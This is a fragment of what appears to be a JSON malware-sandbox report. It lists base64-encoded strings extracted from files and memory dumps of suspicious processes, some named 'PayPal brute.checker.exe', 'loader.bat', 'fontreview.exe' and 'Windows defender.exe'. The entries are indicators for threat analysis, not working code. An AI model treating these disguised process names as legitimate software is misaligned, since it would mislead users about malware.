File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"M05BdWRpby5TdHVicy5QYXJhbXNHbG9iYWxTdHViKzxHZXRPdXRwdXRUeXBlcz5kX18xMg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"NDdBMDk2OUNBMTEyNzI1NTAwRTAwRTQ0M0I3RDQwQjYxMTcxMDhFOA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"NDhERTc1NENDMEM3NzZEQUQxQTg1REI4MUJFRkFBQURFM0E0NDdFOQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"NF57dn12UjEtbg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"7318d96a0284f4d13ad8439d642222a6523f439c3120a75af4319fed79297d0b.bin","compromised":null,"detection_total":null,"total":null},{"value":"NGF+MUd1bTJzKA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"7318d96a0284f4d13ad8439d642222a6523f439c3120a75af4319fed79297d0b.bin","compromised":null,"detection_total":null,"total":null},{"value":"NEJpbmRlciBpcyBvYnNvbGV0ZS4gVXNlIFNlcmlhbGl6YXRpb25CaW5kZXIgaW5zdGVhZC4=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"NGNhbiBiZSB1bnJlbGlhYmxlLCB1c2Ugb2YgdGhpcyBtZXRob2Qgbm90IGVuY291cmFnZWQ=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"NEQ1MzM5MkE2QTI0RDVFODAxQURBMTRFNzlCNDNGOUJFQkI3OTE1MA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"NERDUy5SZWNvcmRzLkV4Y2VwdGlvblBvbGljeVJlY29yZCs8Z2V0X1NvdXJjZXM+ZF9fMzI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"NEg1ZjU8Nlg2ID84Pz0/RD9gPw==","type":"Ansi","source":"Memory/File Scan","process":"PayPal.exe","filename":"00099768-00003800.00000002.103931.00789000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"NE5BdWRpby5EZWZpbml0aW9ucy5SZXF1ZXN0V29ya2VyRGVmKzxDb252ZXJ0PmRfXzE0YDI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"NHNMaXN0Qm94","type":"Ansi","source":"Memory/File Scan","process":"PayPal.exe","filename":"00099768-00003800.00000002.103931.00789000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"NHNMaXN0Vmlldw==","type":"Ansi","source":"Memory/File Scan","process":"PayPal.exe","filename":"00099768-00003800.00000002.103931.00789000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"NHU6cHJ8I0V7","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"7318d96a0284f4d13ad8439d642222a6523f439c3120a75af4319fed79297d0b.bin","compromised":null,"detection_total":null,"total":null},{"value":"NFdpbmFwaS5SZWdTdHI=","type":"Ansi","source":"Memory/File Scan","process":"PayPal.exe","filename":"00099768-00003800.00000002.103931.00789000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"NHk+emdCTWNS","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"7318d96a0284f4d13ad8439d642222a6523f439c3120a75af4319fed79297d0b.bin","compromised":null,"detection_total":null,"total":null},{"value":"NSFkJ3E5K1MlQUct","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"7318d96a0284f4d13ad8439d642222a6523f439c3120a75af4319fed79297d0b.bin","compromised":null,"detection_total":null,"total":null},{"value":"NS4xVUMkanAw","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"7318d96a0284f4d13ad8439d642222a6523f439c3120a75af4319fed79297d0b.bin","compromised":null,"detection_total":null,"total":null},{"value":"NS4yNTUuMjU1LjI1NQ==","type":"Unicode","source":"Memory/File Scan","process":"PayPal brute.checker.exe","filename":"00099410-00003540.00000001.99801.3F8CA000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"NTRCN0U0QzVDODg0ODM4NDdEQTVCMUVGQjJFMjE3QjUzRkVGOTY2Ng==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"NTc5QjM0NTE0MUM2OUQyRjYxQ0M1MzU1QkUwOUQzRURGRUI5Q0U1NQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"NThRbT04NWpCRg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"7318d96a0284f4d13ad8439d642222a6523f439c3120a75af4319fed79297d0b.bin","compromised":null,"detection_total":null,"total":null},{"value":"NWA1NjxEPFs8Yjw=","type":"Ansi","source":"Memory/File Scan","process":"PayPal.exe","filename":"00099768-00003800.00000002.103931.00789000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"NURDUy5EYXRhYmFzZS5DdXN0b21lclJlcXVlc3RFbnRyeSs8RXhlY3V0ZUZpbHRlcj5kX180","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"NWZsKVk0XmEhPj4=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"7318d96a0284f4d13ad8439d642222a6523f439c3120a75af4319fed79297d0b.bin","compromised":null,"detection_total":null,"total":null},{"value":"NU5BdWRpby5SdWxlcy5QYWdlSXRlcmF0b3JSdWxlKzxnZXRfRGVzdGluYXRpb25zPmRfXzE2","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"NXFiY2clX0k=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"7318d96a0284f4d13ad8439d642222a6523f439c3120a75af4319fed79297d0b.bin","compromised":null,"detection_total":null,"total":null},{"value":"NXY0dGQ2JnE8","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"7318d96a0284f4d13ad8439d642222a6523f439c3120a75af4319fed79297d0b.bin","compromised":null,"detection_total":null,"total":null},{"value":"NXs8TEVxSHxf","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"7318d96a0284f4d13ad8439d642222a6523f439c3120a75af4319fed79297d0b.bin","compromised":null,"detection_total":null,"total":null},{"value":"Ni4mQ1swVk0l","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"7318d96a0284f4d13ad8439d642222a6523f439c3120a75af4319fed79297d0b.bin","compromised":null,"detection_total":null,"total":null},{"value":"Ni4xLjc2MDAuMTYzODU=","type":"Unicode","source":"Memory/File Scan","process":"powershell.exe","filename":"00099826-00003808.00000000.100336.21D1B000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"NjEwRjNCQkQ3NTc0NDk2MzZCNTJBQjFFODY3MERFOTE3ODg0QzY0MQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"NjE1NDFENDU5QUFBMDMxNTRBOTlDODM0OTMxRkIxQjNGMkJFRjFBRA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"NjNBRTAxODM4QjZBRjI1REYyN0JFMUU0QzlCMjg2RDdFODJGMEE5OQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"NmQmdDs8LSFa","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"7318d96a0284f4d13ad8439d642222a6523f439c3120a75af4319fed79297d0b.bin","compromised":null,"detection_total":null,"total":null},{"value":"NkRDUy5Db21wb3Nlci5JbnRlcmNlcHRvckZpbHRlckNvbXArPEV4ZWN1dGVGaWx0ZXI+ZF9fNA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"NkYyOTc5MjNEMjFCRTk1Q0UyMjJCRjk4MUMyQjVGQjFCODI0QzU4Mg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"NkdifHotUyk=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"7318d96a0284f4d13ad8439d642222a6523f439c3120a75af4319fed79297d0b.bin","compromised":null,"detection_total":null,"total":null},{"value":"Nk1nayJ1QEEwRA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"7318d96a0284f4d13ad8439d642222a6523f439c3120a75af4319fed79297d0b.bin","compromised":null,"detection_total":null,"total":null},{"value":"NnNNb250aENhbGVuZGFy","type":"Ansi","source":"Memory/File Scan","process":"PayPal.exe","filename":"00099768-00003800.00000002.103931.00789000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"NnZFe3A3P3Vq","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"7318d96a0284f4d13ad8439d642222a6523f439c3120a75af4319fed79297d0b.bin","compromised":null,"detection_total":null,"total":null},{"value":"NzJEQUUyNDBCM0IwMUU5QTBENTEwQUY2NTU1RkNERTdCNEFBMUUyOA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"NzRrUURzZTZEeQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"7318d96a0284f4d13ad8439d642222a6523f439c3120a75af4319fed79297d0b.bin","compromised":null,"detection_total":null,"total":null},{"value":"NzdBN0c3UTdlNw==","type":"Ansi","source":"Memory/File Scan","process":"PayPal.exe","filename":"00099768-00003800.00000002.103931.00789000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"NzdyN343fjtHPw==","type":"Ansi","source":"Memory/File Scan","process":"PayPal.exe","filename":"00099768-00003800.00000002.103931.00789000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"Nz84V21Fcmg=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"7318d96a0284f4d13ad8439d642222a6523f439c3120a75af4319fed79297d0b.bin","compromised":null,"detection_total":null,"total":null},{"value":"N0FYLlVyNkEm","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"7318d96a0284f4d13ad8439d642222a6523f439c3120a75af4319fed79297d0b.bin","compromised":null,"detection_total":null,"total":null},{"value":"N0JERUQ1OEQxN0IwMzVBQjlFNjRFNjk4NjhGRTVDNkE1ODYwOTc1Ng==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"N0NhbGwgdGhlIHZlcnNpb24gcmV0dXJuaW5nIHNvdXJjZUJ5dGVzQ29udmVydGVkIGluc3RlYWQ=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"N2l7JzlfazI6","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"7318d96a0284f4d13ad8439d642222a6523f439c3120a75af4319fed79297d0b.bin","compromised":null,"detection_total":null,"total":null},{"value":"N3NBbHBoYUdyYXBo","type":"Ansi","source":"Memory/File Scan","process":"PayPal.exe","filename":"00099768-00003800.00000002.103931.00789000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"N3VUTDJPWmFp","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"7318d96a0284f4d13ad8439d642222a6523f439c3120a75af4319fed79297d0b.bin","compromised":null,"detection_total":null,"total":null},{"value":"N3ZQV356bC84","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"7318d96a0284f4d13ad8439d642222a6523f439c3120a75af4319fed79297d0b.bin","compromised":null,"detection_total":null,"total":null},{"value":"ODA0QkQ1MkVCM0NEQ0I3QkIwRThDODU2N0RERUU0NjY1M0ZDNjI0RQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"ODI1NjQyMzdFNTdGMDUzOUUyNzU0N0U1N0M0MTgwOTNDRTczMUMxMg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"ODZGRjk5ODUzMTVERjgyMEU5Q0E0RkRGMjQ2MEI5NjI1M0QyRDczMA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"OGNjb19vVTgi","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"7318d96a0284f4d13ad8439d642222a6523f439c3120a75af4319fed79297d0b.bin","compromised":null,"detection_total":null,"total":null},{"value":"OHU8MypfVFcs","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"7318d96a0284f4d13ad8439d642222a6523f439c3120a75af4319fed79297d0b.bin","compromised":null,"detection_total":null,"total":null},{"value":"OFZjbC5Ub29sV2lu","type":"Ansi","source":"Memory/File Scan","process":"PayPal.exe","filename":"00099768-00003800.00000002.103931.00789000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"OSBtLyQoQik=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"OSw8ODxKPVY9aT11PQ==","type":"Ansi","source":"Memory/File Scan","process":"PayPal.exe","filename":"00099768-00003800.00000002.103931.00789000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"OSw8cHZIKVNP","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"7318d96a0284f4d13ad8439d642222a6523f439c3120a75af4319fed79297d0b.bin","compromised":null,"detection_total":null,"total":null},{"value":"OS5UVGxQbixw","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"7318d96a0284f4d13ad8439d642222a6523f439c3120a75af4319fed79297d0b.bin","compromised":null,"detection_total":null,"total":null},{"value":"OTBjYzZlNDQ3ZDM0NWJiMWYxMDM3NTFhYjAzOGJiY2UxOTE5MGRiNi5leGU=","type":"Unicode","source":"Runtime Data","process":"loader.bat","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"OThEOTREM0Y4QzY4MTIwNDQ2QUZFREU3QTM4RkM4REM3OEJBNDIwRQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"OUExNEU4MkJFRURDQTc0OUJEQTM0MjM3NThDNjAzMzMyOEFFOUQxNg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"OUUzMUYyNEY2NDc2NUZDQUE1ODlGNTg5MzI0RDE3QzlGQ0Y2QTA2RA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"OWs6dW9PNQ==","type":"Ansi","source":"PCAP Processing","process":null,"filename":"PCAP","compromised":null,"detection_total":null,"total":null},{"value":"Oi9EPyE5LW4/LQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"7318d96a0284f4d13ad8439d642222a6523f439c3120a75af4319fed79297d0b.bin","compromised":null,"detection_total":null,"total":null},{"value":"OnNEaWFsb2dz","type":"Ansi","source":"Memory/File Scan","process":"PayPal.exe","filename":"00099768-00003800.00000002.103931.00789000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"OnNyIiJ4TFh4","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"7318d96a0284f4d13ad8439d642222a6523f439c3120a75af4319fed79297d0b.bin","compromised":null,"detection_total":null,"total":null},{"value":"OlN3ZiQ3UTha","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"7318d96a0284f4d13ad8439d642222a6523f439c3120a75af4319fed79297d0b.bin","compromised":null,"detection_total":null,"total":null},{"value":"OldpbmFwaS5JbW0=","type":"Ansi","source":"Memory/File Scan","process":"PayPal.exe","filename":"00099768-00003800.00000002.103931.00789000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"OyA7JDsoOyw7MDs0Ozg7PDtAO0Q7SDtMO1Q7WDtcO2A7ZDs=","type":"Ansi","source":"Memory/File Scan","process":"PayPal.scr","filename":"00099374-00003980.00000000.99641.001DB000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"Oyc7MTtaO247Pig+","type":"Ansi","source":"Memory/File Scan","process":"PayPal.exe","filename":"00099768-00003800.00000002.103931.00789000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"OzA+ND44Pjw+","type":"Ansi","source":"Memory/File Scan","process":"PayPal.exe","filename":"00099768-00003800.00000002.103931.00789000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"OzEzKEhFTyVb","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"7318d96a0284f4d13ad8439d642222a6523f439c3120a75af4319fed79297d0b.bin","compromised":null,"detection_total":null,"total":null},{"value":"OzE7PTtQO1w7aTx1PA==","type":"Ansi","source":"Memory/File Scan","process":"PayPal.exe","filename":"00099768-00003800.00000002.103931.00789000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"OzpSY2pQSlJZ","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"7318d96a0284f4d13ad8439d642222a6523f439c3120a75af4319fed79297d0b.bin","compromised":null,"detection_total":null,"total":null},{"value":"O14jPlstMTpqaw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"7318d96a0284f4d13ad8439d642222a6523f439c3120a75af4319fed79297d0b.bin","compromised":null,"detection_total":null,"total":null},{"value":"PCE9Tz0wPzQ/OD88P0A/RD9IP0w/UD9UP1g/XD9gPw==","type":"Ansi","source":"Memory/File Scan","process":"PayPal.exe","filename":"00099768-00003800.00000002.103931.00789000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"PCs9Mj07PUI9","type":"Ansi","source":"Memory/File Scan","process":"PayPal.exe","filename":"00099768-00003800.00000002.103931.00789000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"PCw+Mz50Pns+","type":"Ansi","source":"Memory/File Scan","process":"PayPal.exe","filename":"00099768-00003800.00000002.103931.00789000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"PC9zdHlsZT4=","type":"Unicode","source":"Hybrid Analysis","process":"PayPal.scr","filename":"00099374-00003980.00000000.99641.00181000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"PDdzemxWYU9T","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"7318d96a0284f4d13ad8439d642222a6523f439c3120a75af4319fed79297d0b.bin","compromised":null,"detection_total":null,"total":null},{"value":"PD4xX19zdGF0ZQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"PD4yX19jdXJyZW50","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"PD4zX19jYXRlZ29yeQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"PD4zX19jdXJyZW50","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"PD4zX19lcnJvcldoZW5Ob01hdGNo","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"PD4zX19pbnB1dFN0cmVhbUluZGV4","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"PD4zX19vdXRwdXRTdHJlYW1JbmRleA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"PD4zX19zZWxm","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"PD4zX19zb3VyY2U=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"PD4zX190eXBl","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"PD40X190aGlz","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"PD43X193cmFwMQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"PD43X193cmFwMg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"PD43X193cmFwMw==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"PD5jX19EaXNwbGF5Q2xhc3MwXzA=","type":"Ansi","source":"Dropped File","process":null,"filename":"dasHost.exe.2647022759","compromised":null,"detection_total":null,"total":null},{"value":"PD5sX19pbml0aWFsVGhyZWFkSWQ=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"PD5tX19GaW5hbGx5MQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"PD5tX19GaW5hbGx5Mg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"PD5tX19GaW5hbGx5Mw==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"$53","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiIHN0YW5kYWxvbmU9InllcyI/Pjxhc3NlbWJseSB4bWxucz0idXJuOnNjaGVtYXMtbWljcm9zb2Z0LWNvbTphc20udjEiIG1hbmlmZXN0VmVyc2lvbj0iMS4wIj4gIDxhc3NlbWJseUlkZW50aXR5IHZlcnNpb249IjEuMC4wLjAiIG5hbWU9Ik15QXBwbGljYXRpb24uYXBwIi8+ICA8dHJ1c3RJbmZvIHhtbG5zPSJ1cm46c2NoZW1hcy1taWNyb3NvZnQtY29tOmFzbS52MiI+ICAgIDxzZWN1cml0eT4gICAgICA8cmVxdWVzdGVkUHJpdmlsZWdlcyB4bWxucz0idXJuOnNjaGVtYXMtbWljcm9zb2Z0LWNvbTphc20udjMiPiAgICAgICAgPHJlcXVlc3RlZEV4ZWN1dGlvbkxldmVsIGxldmVsPSJhc0ludm9rZXIiIHVpQWNjZXNzPSJmYWxzZSIvPiAgICAgIDwvcmVxdWVzdGVkUHJpdmlsZWdlcz4gICAgPC9zZWN1cml0eT4gIDwvdHJ1c3RJbmZvPjwvYXNzZW1ibHk+","type":"Ansi","source":"Memory/File Scan","process":"loader.bat","filename":"00099794-00004056.00000001.100319.01194000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"$54","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"7318d96a0284f4d13ad8439d642222a6523f439c3120a75af4319fed79297d0b.bin","compromised":null,"detection_total":null,"total":null},{"value":"$55","type":"Ansi","source":"Memory/File Scan","process":"Windows defender.exe","filename":"00100753-00001696.00000000.100904.00844000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"$56","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"PEFmdGVyU2VsZj5kX180Mg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"PGFubm90YXRpb25zPjVfXzI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"PEFubm90YXRpb25zPmRfXzE2NmAx","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"PEFubm90YXRpb25zPmRfXzE2Nw==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"PEJlZm9yZVNlbGY+ZF9fNDM=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"PENvbnZlcnQ+ZF9fMTRgMg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"$57","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"$58","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"PGN1cnJlbnQ+NV9fMg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"PERDUy5MaWNlbnNpbmcuSW52b2NhdGlvblNlcnZpY2VMaWNlbnNlKzxHZXREZXNjZW5kYW50cz5kX18xOA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"PERDUy5NYXBwZXJzLlByb2R1Y2VyU2NoZW1hTWFwcGVyK0NvZGVUYWcrPEdldEVudW1lcmF0b3I+ZF9fMQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"PGRlc3RpbmF0aW9uPjVfXzI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"PGRldmljZT41X18y","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"PGVudW1EbW8+NV9fMg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"PEVudW1lcmF0ZVRyYW5zZm9ybXM+ZF9fMg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"PEV4ZWN1dGVGaWx0ZXI+ZF9fMTI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"PEV4ZWN1dGVGaWx0ZXI+ZF9fNA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"PGdldF9EZXN0aW5hdGlvbnM+ZF9fMTY=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"PGdldF9NaXhlcnM+ZF9fMTg=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"PGdldF9Tb3VyY2VzPmRfXzMy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"PEdldEFuY2VzdG9ycz5kX180MQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"PEdldERlc2NlbmRhbnRzPmRfXzE4","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"PEdldERtb3M+ZF9fMw==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"PEdldEVudW1lcmF0b3I+ZF9fMQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"PEdldEVudW1lcmF0b3I+ZF9fMg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"PEdldEVudW1lcmF0b3I+ZF9fNTc=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"PEdldEVudW1lcmF0b3I+ZF9fNg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"PEdldElucHV0VHlwZXM+ZF9fMTE=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"PEdldE91dHB1dFR5cGVzPmRfXzEy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"PGhlYWQ+PG1ldGEgaHR0cC1lcXVpdj0iY29udGVudC10eXBlIiBjb250ZW50PSJ0ZXh0L2h0bWw7IGNoYXJzZXQ9","type":"Unicode","source":"Hybrid Analysis","process":"PayPal.scr","filename":"00099374-00003980.00000000.99641.00181000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"PGluZGV4PjVfXzI=","type":"Ansi","source":"Dropped 